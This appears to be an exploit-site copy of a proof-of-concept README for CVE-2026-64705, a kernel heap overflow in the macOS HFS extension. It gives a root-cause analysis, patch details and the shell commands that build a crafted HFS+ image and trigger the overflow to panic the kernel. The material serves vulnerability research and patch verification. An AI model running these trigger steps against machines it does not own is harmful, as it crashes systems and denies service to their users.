## https://sploitus.com/exploit?id=E06F6286-9233-5060-B16A-3B5F0C41CCE1
# CVE-2026-64705 β HFS xattr kernel heap overflow (macOS)
Root-cause analysis and proof-of-concept for CVE-2026-64705, a buffer overflow
in the HFS kernel extension fixed in macOS Sonoma 14.8.7 (HT127117):
> **HFS** β Impact: An app may be able to cause unexpected system termination
> or write kernel memory. A buffer overflow was addressed with improved bounds
> checking.
The PoC is a weaponized HFS+ disk image. Mounting it and reading a crafted
extended attribute drives the HFS kext into an unbounded 64-byte `bcopy` loop
into a 512-byte kernel heap buffer β kernel heap overflow with attacker
controlled on-disk content β panic on vulnerable builds. **Crash/panic tier β
not RCE.**
* Vulnerable: macOS β€ 14.8.5 (hfs kext 650.140.2), and other pre-fix branches
* Fixed: macOS 14.8.7 (hfs 650.140.2.701.4) β adds `adds/b.hs` carry
checks, zero-count termination, and `total==0` / `total>expected` rejection
* Patch strings (the validator's contract):
`hfs_setxattr: %s has a malformed overflow extent`, same for getxattr.
## Contents
| file | what |
|---|---|
| `poc-cve-2026-64705.dmg` | Weaponized 32 MB HFS+ image (trigger file + crafted xattr records) |
| `weaponize.py` | The patcher that built the image β re-derives every offset from the image itself; works on any compatible base image |
| `parse_attr.py` | Attributes B-tree parser used to locate/dump the xattr records |
| `BUILD.md` | Full build recipe from a clean base image + the exact hex deltas |
| `WRITEUP.md` | Root-cause analysis: kext diff (14.8.5 vs 14.8.7), vulnerable loop, mechanism |
## Trigger
On a **pre-fix** system (or a sacrificial VM β this panics the kernel):
```sh
hdiutil attach -nobrowse poc-cve-2026-64705.dmg
xattr -l /Volumes/CVE64705/trigger.txt # kernel heap overflow -> panic
```
On a **patched** system the same image mounts fine and the trigger is rejected
by the new validator β you can watch the differential proof in the kernel log:
```
hfs_getxattr: bigattr has a malformed overflow extent
```
which also confirms the crafted record drives execution exactly into the
patched (and formerly vulnerable) walk.
## Rebuilding the image
```sh
hdiutil create -fs HFS+ -size 32m -volname CVE64705 base.dmg
hdiutil attach -nobrowse base.dmg
echo trigger > /Volumes/CVE64705/trigger.txt
xattr -w bigattr "$(head -c 8192 /dev/zero | base64)" /Volumes/CVE64705/trigger.txt
hdiutil detach /Volumes/CVE64705
python3 weaponize.py # -> poc-cve-2026-64705.dmg
```
## The bug in one paragraph
For a large xattr stored as `kHFSPlusAttrForkData`, `hfs_getxattr_internal`
(and the mirrored `hfs_setxattr_internal`) walks the 8 extent descriptors of
the overflow record. `count_extent_blocks()` *skips* any descriptor whose
`blockCount` exceeds the expected total and returns the 32-bit sum with no
carry or zero check. If every `blockCount` exceeds the total, the count comes
back 0, `blkcnt` never advances, and the `while (blkcnt < totalblocks)` loop
keeps copying 64 attacker-controlled bytes per iteration past a
`totalblocks*8`-byte heap buffer. The integer-wrap variant (blockCounts summing
past 2^32) is the same missing check; the 14.8.7 patch kills both.
For educational and defensive research purposes. The bug is patched in current
macOS; test only on machines you own.